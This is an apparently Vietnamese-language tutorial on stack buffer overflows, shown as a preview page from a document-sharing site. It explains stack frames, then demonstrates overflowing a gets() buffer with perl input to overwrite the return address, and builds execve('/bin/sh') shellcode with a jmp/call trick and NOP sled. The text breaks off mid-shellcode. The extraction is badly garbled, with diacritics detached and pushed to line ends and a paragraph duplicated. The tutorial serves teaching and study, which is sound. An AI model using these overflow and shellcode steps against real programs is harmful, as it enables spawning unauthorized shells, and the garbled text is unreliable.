Heap là vùng nh dùng đ c p phát cho các bi n t nh ho c các vùng nhớ ể ấ ế ỉ ặ ớ
đ c c p phát b ng hàm malloc()ượ ấ ằ
Stack là vùng nh dùng đ l u các tham s và các bi n c c b c a hàm.ớ ể ư ố ế ụ ộ ủ
Các bi n trên heap đ c c p phát t vùng nh th p đ n vùng nh cao.ế ượ ấ ừ ớ ấ ế ớ
Trên stack thì hoàn toàn ng c l i, các bi n đ c c p phát t vùng nhượ ạ ế ượ ấ ừ ớ
cao đ n vùng nh th p.ế ớ ấ
Stack ho t đ ng theo nguyên t c "vào sau ra tr c"(Last In First Out -ạ ộ ắ ướ
LIFO). Các giá tr đ c đ y vào stack sau cùng s đ c l y ra kh iị ượ ẩ ẽ ượ ấ ỏ
stack tr c tiên.
27 trang |
Chia sẻ: longpd | Lượt xem: 1962 | Lượt tải: 4
Bạn đang xem trước 20 trang tài liệu Tài liệu Tìm hiểu đầy đủ về tràn bộ đệm, để xem tài liệu hoàn chỉnh bạn click vào nút DOWNLOAD ở trên
Tìm hi u đ y đ v tràn b đ mể ầ ủ ề ộ ệ
ĐT - Vicki's real fan
L i m đ uờ ở ầ
Tràn b đ m là m t trong nh ng l h ng b o m t l n nh t hi n nay.ộ ệ ộ ữ ỗ ỏ ả ậ ớ ấ ệ
V y tràn b đ m là gì? Làm th nào đ thi hành các mã l nh nguy hi mậ ộ ệ ế ể ệ ể
qua tràn b đ m...?ộ ệ
***L u ý*** m t ít ki n th c v Assembly, C, GDB và Linux là đi uư ộ ế ứ ề ề
c n thi t đ i v i b n!ầ ế ố ớ ạ
S đ t ch c b nh c a m t ch ng trìnhơ ồ ổ ứ ộ ớ ủ ộ ươ
/------------------\ đ a ch vùng nh caoị ỉ ớ
| |
| Stack |
| |
|------------------|
| (Initialized) |
| Data |
| (Uninitialized) |
|------------------|
| |
| Text |
| |
\------------------/ đ a ch vùng nh th pị ỉ ớ ấ
Stack và Heap?
Heap là vùng nh dùng đ c p phát cho các bi n t nh ho c các vùng nhớ ể ấ ế ỉ ặ ớ
đ c c p phát b ng hàm malloc()ượ ấ ằ
Stack là vùng nh dùng đ l u các tham s và các bi n c c b c a hàm.ớ ể ư ố ế ụ ộ ủ
Các bi n trên heap đ c c p phát t vùng nh th p đ n vùng nh cao.ế ượ ấ ừ ớ ấ ế ớ
Trên stack thì hoàn toàn ng c l i, các bi n đ c c p phát t vùng nhượ ạ ế ượ ấ ừ ớ
cao đ n vùng nh th p.ế ớ ấ
Stack ho t đ ng theo nguyên t c "vào sau ra tr c"(Last In First Out -ạ ộ ắ ướ
LIFO). Các giá tr đ c đ y vào stack sau cùng s đ c l y ra kh iị ượ ẩ ẽ ượ ấ ỏ
stack tr c tiên.ướ
PUSH và POP
Stack đ t trên xu ng du i(t vùng nh cao đ n vùng nh th p).ổ ừ ố ớ ừ ớ ế ớ ấ
Thanh ghi ESP luôn tr đ n đ nh c a stack(vùng nh có đ a ch th p).ỏ ế ỉ ủ ớ ị ỉ ấ
đ nh c a b nh /------------\ đáy c a stackỉ ủ ộ ớ ủ
| |
| |
| |
| |
| |
| | <-- ESP
đáy c a b nh \------------/ đ nh c a stackủ ộ ớ ỉ ủ
* PUSH m t value vào stackộ
đ nh c a b nh /------------\ đáy c a stackỉ ủ ộ ớ ủ
| |
| |
| |
| |
| | <- ESP cũ
|------------|
(2) -> value | <- ESP m i = ESP cũ -ớ
sizeof(value) (1)
đáy c a b nh \------------/ đ nh c a stackủ ộ ớ ỉ ủ
1/ ESP=ESP-sizeof(value)
2/ value đ c đ y vào stackượ ẩ
* POP m t value ra kh i stackộ ỏ
đ nh c a b nh /------------\ đáy c a stackỉ ủ ộ ớ ủ
| |
| |
| |
| |
| | <- ESP m i = ESP cũ +ớ
sizeof(value)(2)
|------------|
(1) <- value | <- ESP cũ
đáy c a b nh \------------/ đ nh c a stackủ ộ ớ ỉ ủ
1/ value đ c l y ra kh i stackượ ấ ỏ
2/ ESP=ESP+sizeof(value)
Khác nhau gi a các l nh h p ng AT&T v i Intelữ ệ ợ ữ ớ
Khác v i MSDOS và WINDOWS, *NIX dùng các l nh h p ng AT&T.ớ ệ ợ ữ
Nó hoàn toàn ng c l i v i chu n c a Intel/Microsoft.ượ ạ ớ ẩ ủ
Ví d :ụ
Intel AT&T
mov eax, esp movl %esp, %eax
push 7 push $7
mov [esp+5], eax movl %eax, 0x5(%esp)
inc ah incb %ah
push 7 push $7
...
* Ghi chú:
e - Extended 32 bits
% - register
mov %src, %des
movl - move 1 long
movb - move 1 byte
movw - move 1 word
$ - h ngằ
# - chú thích
...
Cách làm vi c c a hàmệ ủ
Thanh ghi EIP luôn tr đ n đ a ch c a câu l nh ti p theo c n thi hành.ỏ ế ị ỉ ủ ệ ế ầ
Khi g i hàm, đ u tiên các tham s đ c push vào stack theo th tọ ầ ố ượ ứ ự
ng c l i. Ti p theo đ a ch c a câu l nh đ c push vào stack. Sau đó,ượ ạ ế ị ỉ ủ ệ ượ
thanh ghi EBP đ c push vào stack(dùng đ l u giá tr cũ c a EBP).ượ ể ư ị ủ
Khi k t thúc hàm, thanh ghi EBP đ c pop ra kh i stack(ph c h i l iế ượ ỏ ụ ồ ạ
giá tr cũ c a EBP). Sau đó đ a ch tr v (ret address) đ c pop ra kh iị ủ ị ỉ ở ề ượ ỏ
stack và l nh ti p theo sau l i g i hàm s đ c thi hành.ệ ế ờ ọ ẽ ượ
Thanh ghi EBP đ c dùng đ xác đ nh các tham s và các bi n c c bượ ể ị ố ế ụ ộ
c a hàm.ủ
Ví d :ụ
test.c
-----------------------------------------------------------
-------------------
void function(int a, int b, int c) {
char buffer1[5];
char buffer2[10];
}
void main() {
function(1,2,3);
}
-----------------------------------------------------------
-------------------
Đ hi u đ c ch ng trình g i hàm function() nh th nào, b n hãyể ể ượ ươ ọ ư ế ạ
compile vidu1.c, dùng tham s -S đ phát mã assembly:ố ể
[đt@localhost ~/vicki]$cc -S -o test.s test.c
Xem file test.s, chúng ta s th y call function() đ c chuy n thành:ẽ ấ ượ ể
pushl $3
pushl $2
pushl $1
call function
3 tham s truy n cho function() l n l t đ c push vào stack theo th tố ề ầ ượ ượ ứ ự
ng c l i. Câu l nh 'call' s push con tr l nh(t c là thanh ghi EIP) vàoượ ạ ệ ẽ ỏ ệ ứ
stack đ l u đ a ch tr v .ể ư ị ỉ ở ề
Các l nh đ u tiêu trong hàm function() s có d ng nh sau:ệ ầ ẽ ạ ư
pushl %ebp
movl %esp,%ebp
subl $20,%esp
Đ u tiên ESP(frame pointer) đ c push vào stack. Sau đó ch ng trìnhầ ượ ươ
copy ESP vào EBP đ t o m t FP pointer m i. B n d nh n th y lúcể ạ ộ ớ ạ ễ ậ ấ
này ESP và EBP đ u đang tr đ n ô nh ch a EBP cũ. Hãy ghi nh đi uề ỏ ế ớ ứ ớ ề
này. Ti p theo ESP đ c tr đi 20 đ dành không gian cho các bi n c cế ượ ừ ể ế ụ
b c a hàm function()ộ ủ
Vì ch ng trình 32 bits nên 5 bytes buffer1 s là 8 bytes(2 words) trongươ ẽ
b nh (do làm tròn đ n 4 bytes hay là 32 bits), 10 bytes buffer2 s là 12ộ ớ ế ẽ
bytes trong b nh (3 words). T ng c ng s t n 8+12=20 bytes cho cácộ ớ ổ ộ ẽ ố
bi n c c b c a function() nên ESP ph i b tr đi 20! Stack s có d ngế ụ ộ ủ ả ị ừ ẽ ạ
nh sau:ư
đáy c aủ
đ nh c aỉ ủ
b nhộ ớ
b nhộ ớ
buffer2 buffer1 sfp ret a b
c
<------ [ ][ ][ ][ ][ ][ ][
]
đ nh c a 12 bytes 8 bytes 4b 4bỉ ủ
đáy c aủ
stack
stack
Trong hàm function(), n i dung thanh ghi EBP không b thay đ i.ộ ị ổ
0xz%ebp dùng đ xác đ nh ô nh ch a tham s c a hàmể ị ớ ứ ố ủ
0xfffffz%ebp dùng đ xác đ nh ô nh ch a bi n c c b c a hàmể ị ớ ứ ế ụ ộ ủ
Khi k t thúc hàm function():ế
movl %ebp,%esp
popl %ebp
ret
movl %ebp, %esp s copy EBP vào ESP. Vì EBP khi b t đ u hàm trẽ ắ ầ ỏ
đ n ô nh ch a EBP cũ và EBP không b thay đ i trong hàm function()ế ớ ứ ị ổ
nên sau khi th c hi n l nh movl, ESP s tr đ n ô nh ch a EBP cũ.ự ệ ệ ẽ ỏ ế ớ ứ
popl %ebp s ph c h i l i giá tr cũ cho EBP đ ng th i ESP s b gi mẽ ụ ồ ạ ị ồ ờ ẽ ị ả
4(ESP=ESP-sizeof(EBP cũ)) sau l nh ệ popl. Nh v y ESP s tr đ n ôư ậ ẽ ỏ ế
nh ch a đ a ch tr v (n m ngay trên ô nh ch a EBP cũ). ớ ứ ị ỉ ở ề ằ ớ ứ ret s popẽ
đ a ch tr v ra kh i stack, ESP s b gi m 4 và ch ng trình ti p t cị ỉ ở ề ỏ ẽ ị ả ươ ế ụ
thi hành câu l nh sau l nh call function().ệ ệ
Ch ng trình b tràn b đ mươ ị ộ ệ
Ví d :ụ
gets.c:
---------------------------------------
int main()
{
char buf[20];
gets(buf);
}
---------------------------------------
[đt@localhost ~/vicki]$ cc gets.c -o gets
/tmp/cc4C6vaT.o: In function `main':
/tmp/cc4C6vaT.o(.text+0xe): the `gets' function is
dangerous and should not be used.
[đt@localhost ~/vicki]$
gets(buf) s nh n input data vào buf. Kích th c c a buf ch là 20 bytes.ẽ ậ ướ ủ ỉ
N u ta đ y data có kích th c l n h n 20 bytes vào buf, 20 bytes dataế ẩ ướ ớ ơ
đ u tiên s vào m ng buf[20], các bytes data sau s ghi đè lên EBP cũ vàầ ẽ ả ẽ
ti p theo là ret addr. Nh v y chúng ta có th thay đ i đ c đ a ch trế ư ậ ể ổ ượ ị ỉ ở
v , đi u này đ ng nghĩa v i vi c ch ng trình b tràn b đ m.ề ề ồ ớ ệ ươ ị ộ ệ
đ nh c a b nh +-------------+ đáy c a stackỉ ủ ộ ớ ủ
| return addr |
+-------------+
| EBP cũ |
+-------------+
| |
| |
| buf[20] |
| |
| |
đáy c a b nh +-------------+ đ nh c a stackủ ộ ớ ỉ ủ
B n hãy th :ạ ử
[đt@localhost ~/vicki]$ perl -e 'print "A" x 24' | ./gets
[đt@localhost ~/vicki]$ gdb gets core
GNU gdb 5.0mdk-11mdk Linux-Mandrake 8.0
Copyright 2001 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public
License, and you are
welcome to change it and/or distribute copies of it under
certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show
warranty" for details.
This GDB was configured as "i386-mandrake-linux"...
Core was generated by `./gets'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libc.so.6...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
#0 0x41414141 in ?? ()
(gdb) info all
eax 0xbffffbc4 -1073742908
ecx 0xbffffbc4 -1073742908
edx 0x40105dbc 1074814396
ebx 0x4010748c 1074820236
esp 0xbffffbe0 0xbffffbe0
ebp 0x41414141 0x41414141 // hãy nhìn xem,
chúng ta v a ghi đè lên ebpừ
esi 0x4000a610 1073784336
edi 0xbffffc24 -1073742812
eip 0x40031100 0x40031100
eflags 0x10282 66178
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x2b 43
gs 0x2b 43
(gdb) quit
[đt@localhost ~/vicki]$
0x41 chính là "A" d ng hexở ạ
Bây gi b n hãy th ti p:ờ ạ ử ế
[đt@localhost ~/vicki]$ perl -e 'print "A" x 28' | ./gets
Segmentation fault
[đt@localhost ~/vicki]$ gdb gets core
GNU gdb 5.0mdk-11mdk Linux-Mandrake 8.0
Copyright 2001 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public
License, and you are
welcome to change it and/or distribute copies of it under
certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show
warranty" for details.
This GDB was configured as "i386-mandrake-linux"...
Core was generated by `./gets'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libc.so.6...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
#0 0x41414141 in ?? ()
(gdb) info all
eax 0xbffffbc4 -1073742908
ecx 0xbffffbc4 -1073742908
edx 0x40105dbc 1074814396
ebx 0x4010748c 1074820236
esp 0xbffffbe0 0xbffffbe0
ebp 0x41414141 0x41414141 // chúng ta đã
ghi đè lên ebp
esi 0x4000a610 1073784336
edi 0xbffffc24 -1073742812
eip 0x41414141 0x41414141 // chúng ta đã
ghi đè lên eip
eflags 0x10282 66178
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x2b 43
gs 0x2b 43
(gdb) quit
[đt@localhost ~/vicki]$
Đ a ch tr v b thay đ i thành ị ỉ ở ề ị ổ 0x41414141, ch ng trình s thi hànhươ ẽ
các l nh t i ệ ạ 0x41414141, tuy nhiên đây là vùng c m nên Linux đã báoấ
l i "ỗ Segmentation fault"
Shellcode
Hình dung các đ t shellcode trên stackặ
ví d tr c, chúng ta đã bi t đ c nguyên nhân c a tràn b đ m vàỞ ụ ướ ế ượ ủ ộ ệ
cách thay đ i eip. Tuy nhiên, chúng ta c n ph i thay đ i đ a ch tr vổ ầ ả ổ ị ỉ ở ề
tr đ n shellcode đ đ m t shell. B n có th hình dung ra cách đ tỏ ế ể ổ ộ ạ ể ặ
shellcode trên stack nh sau:ư
Tr c khi tràn b đ m:ướ ộ ệ
đáy c a b nh đ nhủ ộ ớ ỉ
c a b nh ủ ộ ớ
<----- FFFFF BBBBBBBBBBBBBBBBBBBBB EEEE RRRR FFFFFFFFFF
đ nh c a stack đáyỉ ủ
c a stackủ
B = buffer
E = stack frame pointer
R = return address
F = các data khác
Khi tràn b đ m:ộ ệ
đáy c a b nh đ nhủ ộ ớ ỉ
c a b nhủ ộ ớ
<----- FFFFF SSSSSSSSSSSSSSSSSSSSSSSSSAAAAAAAAFFFFFFFFF
đ nh c a stack đáyỉ ủ
c a stackủ
S = shellcode
A = con tr đ n shellcodeỏ ế
F = các data khác
(1) L p tràn b đ m(đ n return addr) b ng đ a ch c a bufferắ ộ ệ ế ằ ị ỉ ủ
(2) Đ t shellcode vào bufferặ
Nh v y đ a ch tr v s tr đ n shellcode, shellcode s đ m t rootư ậ ị ỉ ở ề ẽ ỏ ế ẽ ổ ộ
shell. Tuy nhiên, th t khó đ làm cho ret addr tr đ n đúng shellcode. Cóậ ể ỏ ế
m t cách khác, chúng ta s đ t vào đ u c a buffer m t dãy l nhộ ẽ ặ ầ ủ ộ ệ
NOP(NO oPeration - không x lí), ti p theo chúng ta đ y shellcode vàoử ế ẩ
sau NOPs. Nh v y khi thay đ i ret addr tr đ n m t n i này đó đ uư ậ ổ ỏ ế ộ ơ ở ầ
buffer, các l nh NOP s đ c thi hành, chúng không làm gì c . Đ n khiệ ẽ ượ ả ế
g p các l nh shellcode, shellcode s làm nhi m v đ root shell. Stackặ ệ ẽ ệ ụ ổ
có d ng nh sau:ạ ư
đáy c a b nh đ nhủ ộ ớ ỉ
c a b nhủ ộ ớ
<----- FFFFF NNNNNNNNNNNSSSSSSSSSSSSSSAAAAAAAAFFFFFFFFF
đ nh c a stack đáyỉ ủ
c a stackủ
N = NOP
S = shellcode
A = con tr đ n shellcodeỏ ế
F = các data khác
Vi t và test th shellcodeế ử
Shellcode đ c đ t trên stack nên không th nào dùng đ a ch tuy t đ i.ượ ặ ể ị ỉ ệ ố
Chúng ta bu c ph i dùng đ a ch t ng đ i. Th t may cho chúng ta, l nhộ ả ị ỉ ươ ố ậ ệ
jmp và call có th ch p nh n các đ a ch t ng đ i. Shellcode s cóể ấ ậ ị ỉ ươ ố ẽ
d ng nh sau:ạ ư
0 jmp (nh y xu ng z bytes, t c là đ n câu l nh call)ả ố ứ ế ệ
2 popl %esi
... đăt các hàm t i đây ...ạ
Z call (call s nh y lên z-2 bytes, đ b ngay câuẽ ả ế
l nh sau jmp, POPL)ệ
Z+5 .string (bi n)ế
Gi i thích:ả đ u shellcode chúng ta đ t m t l nh jmp đ n call. call sở ầ ặ ộ ệ ế ẽ
nh y ng c lên l i câu l nh ngay sau jmp, t c là câu l nh ả ượ ạ ệ ứ ệ popl %esi.
Chúng ta đ t các d li u ặ ữ ệ .string ngay sau call. Khi l nh call đ c thiệ ượ
hành, nó s push đ a ch c a câu l nh k ti p, trong tr ng h p này làẽ ị ỉ ủ ệ ế ế ườ ợ
đ a ch c a ị ỉ ủ .string vào stack. Câu l nh ngay sau jmp là ệ popl %esi, như
v y esi s ch a đ a ch c a ậ ẽ ứ ị ỉ ủ .string. Chúng ta đ t các hàm c n x lí gi aặ ầ ử ữ
popl %esi và call , các hàm này s xác đ nh các d li u ẽ ị ữ ệ .string
qua thanh ghi esi.
Mã l nh đ đ shell trong C có d ng nh sau:ệ ể ổ ạ ư
shellcode.c
-----------------------------------------------------------
------------------
#include
void main() {
char *name[2];
name[0] = "/bin/sh";
name[1] = NULL;
execve(name[0], name, NULL);
}
-----------------------------------------------------------
-------------------
Đ tìm ra mã l nh assembly th t s c a shellcode, b n c n compileể ệ ậ ự ủ ạ ầ
shellcode.c và sau đó ch y gdb. Nh dùng c -static khi compileạ ớ ờ
shellcode.c đ g p các mã l nh assembly th t s c a hàm execve vào,ể ộ ệ ậ ự ủ
n u không dùngế c này, b n ch nh n đ c m t tham chi u đ n thờ ạ ỉ ậ ượ ộ ế ế ư
vi n liên k t đ ng c a C cho hàm execve.ệ ế ộ ủ
[đt@localhost ~/vicki]$ gcc -o shellcode -ggdb -static
shellcode.c
[đt@localhost ~/vicki]$ gdb shellcode
GNU gdb 5.0mdk-11mdk Linux-Mandrake 8.0
Copyright 2001 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public
License, and you are
welcome to change it and/or distribute copies of it under
certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show
warranty" for details.
This GDB was configured as "i386-mandrake-linux"...
(gdb) disas main
Dump of assembler code for function main:
0x8000130 : pushl %ebp
0x8000131 : movl %esp,%ebp
0x8000133 : subl $0x8,%esp
0x8000136 : movl $0x80027b8,0xfffffff8(%ebp)
0x800013d : movl $0x0,0xfffffffc(%ebp)
0x8000144 : pushl $0x0
0x8000146 : leal 0xfffffff8(%ebp),%eax
0x8000149 : pushl %eax
0x800014a : movl 0xfffffff8(%ebp),%eax
0x800014d : pushl %eax
0x800014e : call 0x80002bc
0x8000153 : addl $0xc,%esp
0x8000156 : movl %ebp,%esp
0x8000158 : popl %ebp
0x8000159 : ret
End of assembler dump.
(gdb) disas __execve
Dump of assembler code for function __execve:
0x80002bc : pushl %ebp
0x80002bd : movl %esp,%ebp
0x80002bf : pushl %ebx
0x80002c0 : movl $0xb,%eax
0x80002c5 : movl 0x8(%ebp),%ebx
0x80002c8 : movl 0xc(%ebp),%ecx
0x80002cb : movl 0x10(%ebp),%edx
0x80002ce : int $0x80
0x80002d0 : movl %eax,%edx
0x80002d2 : testl %edx,%edx
0x80002d4 : jnl 0x80002e6
0x80002d6 : negl %edx
0x80002d8 : pushl %edx
0x80002d9 : call 0x8001a34
0x80002de : popl %edx
0x80002df : movl %edx,(%eax)
0x80002e1 : movl $0xffffffff,%eax
0x80002e6 : popl %ebx
0x80002e7 : movl %ebp,%esp
0x80002e9 : popl %ebp
0x80002ea : ret
0x80002eb : nop
End of assembler dump.
(gdb) quit
Gi i thích:ả
1/ main():
0x8000130 : pushl %ebp
0x8000131 : movl %esp,%ebp
0x8000133 : subl $0x8,%esp
Các l nh này b n đã vi t r i. Nó s l u frame pointer cũệ ạ ế ồ ẽ ư
và t o frame pointer m i t stack pointer, sau đó dành chạ ớ ừ ổ
cho các bi n c c b c a main() trên stack, trong tr ngế ụ ộ ủ ườ
h p này là 8 bytes:ợ
char *name[2];
2 con tr ki u char, m i con tr dài 1 word nên ph i t n 2ỏ ể ỗ ỏ ả ố
word, t c là 8 bytes trên stack.ứ
0x8000136 : movl $0x80027b8,0xfffffff8(%ebp)
copy giá tr 0x80027b8(đ a ch c a chu i "/bin/sh") vàoị ị ỉ ủ ổ
con tr đ u tiên c a m ng con tr name[]. Câu l nh nàyỏ ầ ủ ả ỏ ệ
t ng đ ng v i:ươ ươ ớ
name[0] = "/bin/sh";
0x800013d : movl $0x0,0xfffffffc(%ebp)
copy giá tr 0x0(NULL) vào con tr th 2 c a name[]. Câuị ỏ ứ ủ
l nh này t ng đ ng v i:ệ ươ ươ ớ
name[1] = NULL;
Mã l nh th t s đ call execve() b t đ u t i đây:ệ ậ ự ể ắ ầ ạ
0x8000144 : pushl $0x0
push các tham s c a hàm execve() vào stack theo th tố ủ ứ ự
ng c l i, đ u tiên là ượ ạ ầ NULL
0x8000146 : leal 0xfffffff8(%ebp),%eax
n p đ a ch c a name[] vào thanh ghi EAXạ ị ỉ ủ
0x8000149 : pushl %eax
push đ a ch c a name[] vào stackị ỉ ủ
0x800014a : movl 0xfffffff8(%ebp),%eax
n p đ a ch c a chu i "/bin/sh" vào stackạ ị ỉ ủ ổ
0x800014e : call 0x80002bc
g i hàm th vi n execve(). call s push eip vào stack.ọ ư ệ ẽ
2/ execve():
0x80002bc : pushl %ebp
0x80002bd : movl %esp,%ebp
0x80002bf : pushl %ebx
đây là ph n m đ u c a hàm, tôi không c n gi i thích choầ ở ầ ủ ầ ả
b n n aạ ữ
0x80002c0 : movl $0xb,%eax
copy 0xb(11 decimal) vào stack. 11 = execve()
0x80002c5 : movl 0x8(%ebp),%ebx
copy đ a ch c a "/bin/sh" vào EBXị ỉ ủ
0x80002c8 : movl 0xc(%ebp),%ecx
copy đ a ch c a name[] vào ECXị ỉ ủ
0x80002cb : movl 0x10(%ebp),%edx
copy đ a ch c a con tr null vào EDXị ỉ ủ ỏ
0x80002ce : int $0x80
g i ng t $0x80ọ ắ
Tóm l i:ạ
a/ có m t chu i k t thúc b ng null "/bin/sh" đâu đó trong b nhộ ổ ế ằ ở ộ ớ
b/ có đ a ch c a chu i "/bin/sh" đâu đó trong b nh theo sau là 1 nullị ỉ ủ ổ ở ộ ớ
dài 1 word
c/ copy 0xb vào thanh ghi EAX
d/ copy đ a ch c a đ a ch c a chu i "/bin/sh" vào thanh ghi EBXị ỉ ủ ị ỉ ủ ổ
e/ copy đ a ch c a chu i "/bin/sh" vào thanh ghi ECXị ỉ ủ ổ
f/ copy đ a ch c a null dài 1 word vào thanh ghi EDXị ỉ ủ
g/ g i ng t $0x80ọ ắ
Sau khi thi hành call execve, ch ng trình có th thi hành ti p các câuươ ể ế
l nh rác còn l i trên stack và ch ng trình có th th t b i. Vì v y,ệ ạ ươ ể ấ ạ ậ
chúng ta ph i nhanh chóng k t thúc ch ng trình b ng l i g i hàmả ế ươ ằ ờ ọ
exit(). Exit syscall trong C có d ng nh sau:ạ ư
exit.c
-----------------------------------------------------------
-------------------
#include
void main() {
exit(0);
}
-----------------------------------------------------------
-------------------
Xem mã assemly c a hàm exit():ủ
[đt@localhost ~/vicki]$ gcc -o exit -ggdb -static exit.c
[đt@localhost ~/vicki]$ gdb exit
GNU gdb 5.0mdk-11mdk Linux-Mandrake 8.0
Copyright 2001 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public
License, and you are
welcome to change it and/or distribute copies of it under
certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show
warranty" for details.
This GDB was configured as "i386-mandrake-linux"...
(gdb) disas _exit
Dump of assembler code for function _exit:
0x800034c : pushl %ebp
0x800034d : movl %esp,%ebp
0x800034f : pushl %ebx
0x8000350 : movl $0x1,%eax
0x8000355 : movl 0x8(%ebp),%ebx
0x8000358 : int $0x80
0x800035a : movl 0xfffffffc(%ebp),%ebx
0x800035d : movl %ebp,%esp
0x800035f : popl %ebp
0x8000360 : ret
0x8000361 : nop
0x8000362 : nop
0x8000363 : nop
End of assembler dump.
(gdb) quit
exit syscall s đ t 0x1 vào EAX, đ t exit code trong EBX và g i ng tẽ ặ ặ ọ ắ
"int 0x80". exit code = 0 nghĩa là không g p l i. Vì v y chúng ta s đ t 0ặ ỗ ậ ẽ ặ
trong EBX.
Tóm l i:ạ
a/ có m t chu i k t thúc b ng null "/bin/sh" đâu đó trong b nhộ ổ ế ằ ở ộ ớ
b/ có đ a ch c a chu i "/bin/sh" đâu đó trong b nh theo sau là 1 nullị ỉ ủ ổ ở ộ ớ
dài 1 word
c/ copy 0xb vào thanh ghi EAX
d/ copy đ a ch c a đ a ch c a chu i "/bin/sh" vào thanh ghi EBXị ỉ ủ ị ỉ ủ ổ
e/ copy đ a ch c a chu i "/bin/sh" vào thanh ghi ECXị ỉ ủ ổ
f/ copy đ a ch c a null dài 1 word vào thanh ghi EDXị ỉ ủ
g/ g i ng t $0x80ọ ắ
h/ copy 0x1 vào thanh ghi EAX
i/ copy 0x0 vào thanh ghi EBX
j/ g i ng t $0x80ọ ắ
Shellcode s có d ng nh sau:ẽ ạ ư
-----------------------------------------------------------
-------------------
jmp offset-to-call # 2 bytes
popl %esi # 1 byte
movl %esi,array-offset(%esi) # 3 bytes
movb $0x0,nullbyteoffset(%esi)# 4 bytes
movl $0x0,null-offset(%esi) # 7 bytes
movl $0xb,%eax # 5 bytes
movl %esi,%ebx # 2 bytes
leal array-offset,(%esi),%ecx # 3 bytes
leal null-offset(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
mov